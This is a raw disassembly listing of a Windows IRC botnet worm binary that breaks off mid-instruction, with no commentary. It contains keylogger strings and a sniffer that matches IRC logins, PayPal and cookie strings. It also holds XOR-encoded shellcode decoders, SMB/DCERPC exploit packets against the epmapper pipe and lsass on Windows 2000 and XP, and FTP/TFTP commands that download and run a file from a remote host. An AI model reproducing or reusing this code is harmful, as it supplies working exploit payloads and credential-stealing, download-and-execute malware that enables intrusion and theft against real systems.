sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset word_505446 ; DATA XREF: ___:00426C70o off_4274DC dd offset aThBySS_ ; DATA XREF: ___:00426C6Co ; "th by: (%s!%s)." off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset off_43005C ; DATA XREF: sub_402B84+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_427A80 dd offset word_580046 ; DATA XREF: sub_402B84+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo asc_427B64: ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o unicode 0, <\\>,0 align 4 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset off_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, 